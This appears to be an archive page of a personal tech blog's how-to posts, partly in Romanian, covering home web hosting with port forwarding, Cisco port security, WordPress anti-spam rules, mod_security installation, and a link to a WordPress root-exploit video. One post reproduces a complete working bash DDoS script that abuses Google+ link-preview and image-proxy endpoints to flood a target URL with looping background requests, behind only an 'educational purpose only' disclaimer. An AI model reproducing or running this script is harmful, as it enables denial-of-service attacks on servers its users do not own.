Archive

Archive for the ‘HowTo’ Category

Creating a server using WAMP Server, no-ip.com and D-Link

May 11th, 2012 No comments

I used XAMPP a couple of years and I had many problems with it. So, after searching on Google, I came across WAMP Server, a friendly web environment. I began working on it and since then I didn’t have any problems with it.

Recently, I wanted to create a browser game and host it on my computer. So, I began searching for a website that could offer me a stable DNS and found no-ip.com. After registering an account, I created a free subdomain on their website.

The next step was to set my router to create a link between the subdomain and my computer. At first, I set the router’s DHCP to offer me a static IP every time from Home > DHCP > Static DHCP. Then I created a link between the Internet and the local network by accessing Advanced > Virtual Server and setting the following options:

Private IP: 192.168.0.23 (the static IP that the router gives me)
Protocol type: TCP
Private port: 8088 (the port used by WAMP Server)
Public port: 80 (the port on which the subdomain runs; it’s usually 80)

After that, I made the connection with no-ip.com from Advanced > DDNS, so the router would change the DNS each time I turn on my computer.

Finally, I made the connection between WAMP Server and no-ip.com. I accessed WAMP Server > Apache > httpd.conf and modified the following lines:

Listen: 8088 (the port used by WAMP Server, it’s modification is optional)
ServerName: subdomain.no-ip.info

We restart the router, WAMP Server and our server is ready to use.

Categories: HowTo Tags:

Basic Port Security

February 11th, 2012 No comments

Beginning in privileged EXEC mode, follow these steps to enable port security: Command Purpose

Step 1 configure terminal Enter global configuration mode.

Step 2 interface interface Enter interface configuration mode for the port you want to secure.

Step 3 switchport port-security Enable basic port security on the interface.

Step 4 switchport port-security maximum max_addrsSet the maximum number of MAC addresses that is allowed on this interface.

Step 5 switchport port-security violation {shutdown | restrict | protect}Set the security violation mode for the interface.The default is shutdown.For mode, select one of these keywords:

     • shutdown—The interface is shut down immediately following

a security violation.

restrict—A security violation sends a trap to the network

management station.

     • protect—When the port secure addresses reach the allowed

      limit on the port, all packets with unknown addresses are

dropped.

Step 6 end Return to privileged EXEC mode.

Step 7 show port security [interface interface-id | address] Verify the entry.

Disabling Port Security: no switchport port-security

Note: If the port link goes down, all the dynamically learned addresses are removed.

Source: here

WordPress – ROOT access project

November 2nd, 2011 No comments

Facand putina pauza si rasfoind internetul, am dat peste un tutorial video foarte interesant, unde combinand cateva tipuri de vulnerabilitati web, se obtin in cele din urma privilegiile userului root pe un server.
Platforma folosita este WordPress 3.0.1, proiectul fiind creeat pentru un concurs.

Chiar daca video-ul este in limba rusa, procedeul si detaliile sunt usor de inteles.

Sursa: denjacker @ RSTCenter.com

Categories: HowTo Tags: ,

Mici trucuri pentru a reduce spamul in WordPress

October 31st, 2011 No comments

Folosind WordPress pe mai multe domenii, am observat in ultimul timp ca primeam din ce in ce mai multe comentarii de tip spam, chiar si cu pluginul Akismet.
Multi spammeri sau mai bine spus, scriptul care spameaza acceseaza fisierul wp-comments-post.php in mod direct, inainte de accesarea vreunui articol.

Putem opri in mare parte spamul in WordPress adaugand urmatorul cod in fisierul .htaccess din folder-ul /public_html/ ( pentru cei care folosesc cPanel ) sau httpdocs/ ( pentru Plesk ), care va bloca accesarea in mod direct a fisierului mai sus mentionat.

RewriteEngine On
RewriteCond %{REQUEST_METHOD} POST
RewriteCond %{REQUEST_URI} .wp-comments-post\.php*
RewriteCond %{HTTP_REFERER} !.*siteultau.ro.* [OR]
RewriteCond %{HTTP_USER_AGENT} ^$
RewriteRule (.*) ^http://%{REMOTE_ADDR}/$ [R=301,L]

Nota: Editati siteultau.ro cu numele site-ului vostru, fara “www”.

Google Plus DDoS attack script

September 8th, 2011 3 comments

#!/bin/bash

# Bug found by #
# Simone 'R00T_ATI' Quatrini #
# Mauro 'epicfail' Gasperini #
# Site: http://www.ihteam.net #

function start {
echo "[*] Sending `echo $2` Requests..."

for a in `seq $2`
do
id=$((RANDOM%3999999+3000000))
nohup curl "https://plus.google.com/_/sharebox/linkpreview/?c=$url&t=1&_reqid=$id&rt=j" -k -A "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0" > /dev/null 2>&1 &
nohup curl "https://images2-focus-opensocial.googleusercontent.com/gadgets/proxy?url=$urlclear&container=focus" -k -A "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0" > /dev/null 2>&1 &
done

echo "[*] Still attacking `echo $urlclear`"
echo "[*] Sleeping for 10 Seconds"
sleep 10
start url $2 urlclear
}

echo ''
echo ' 88888888ba, 88888888ba, ad88888ba '
echo ' aa 88 `"8b 88 `"8b d8" "8b '
echo ' 88 88 `8b 88 `8b Y8, '
echo 'aaaa88aaaa 88 88 88 88 ,adPPYba, `Y8aaaaa, '
echo '""""88"""" 88 88 88 88 a8" "8a `"""""8b, '
echo ' 88 88 8P 88 8P 8b d8 `8b '
echo ' "" 88 .a8P 88 .a8P "8a, ,a8" Y8a a8P '
echo ' 88888888Y"" 88888888Y"" `"YbbdP"" "Y88888P"'
echo ''

if [ "$#" -lt 2 ]; then
echo "Usage: $0 "
echo "Example: $0 http://www.site.com/very_big_file.tar.gz 1000"
echo ""

exit 0
fi

case $2 in
*[!0-9]* ) echo "$2 is not numeric" && exit 1;;
esac

echo "Attack -->" $1
match1=/
repl1=%2F
match2=:
repl2=%3A
url=$1
urlclear=$1

url=${url//$match1/$repl1}
url=${url//$match2/$repl2}

echo ""
echo "[*] Loop started! CTRL+C to stop"
echo ""

start url $2 urlclear

Educational purpose only. Do not start a DDoS attack on servers that you do not own.

source here and author

Instalare Mod Security pe CentOS

August 12th, 2011 No comments

Mod Security este un firewall open source pentru aplicatiile web, care va protejeaza de atacuri precum CSS (Cross Site Scripting), SQL Injection, etc …

Se instaleaza foarte usor cu ajutorul “yum-ului”.
Deci, sa incepem instalarea propriu zisa:

Ne logam cu userul ‘root’, si instalam ‘GPG Key’ astfel:
rpm –import http://www.jasonlitka.com/media/RPM-GPG-KEY-jlitka

Creem fisierul ‘utterramblings.repo’
touch /etc/yum.repos.d/utterramblings.repo

Il deschidem folosind editorul preferat (vi, nano, pico, …) si adaugam codul de mai jos:
vim /etc/yum.repos.d/utterramblings.repo
[utterramblings]
name=Jason’s Utter Ramblings Repo
baseurl=http://www.jasonlitka.com/media/EL$releasever/$basearch/
enabled=1
gpgcheck=1
gpgkey=http://www.jasonlitka.com/media/RPM-GPG-KEY-jlitka

Salvam si iesim.

Dupa care putem incepe instalarea modului.

yum install mod_security
Dupa instalare, restartam httpd-ul.

Daca aveti neclaritati sau intampinati probleme, lasati-ne un comentariu.

Clear the screen on logout

August 2nd, 2011 No comments

If you have an account on a server and using this from a public place, like an internet cafe or an university you probably want to make sure that nobody is able to read the leftovers from your session.

To archieve this, add the command “clear” to the end of “~/.bash_logout”.

To make sure there is no data in the terminal scrollback, close the term window or if you are in a text console, switch to a different one (like Alt+F2) and back. That clears the scrollback buffer.

Categories: HowTo Tags: , ,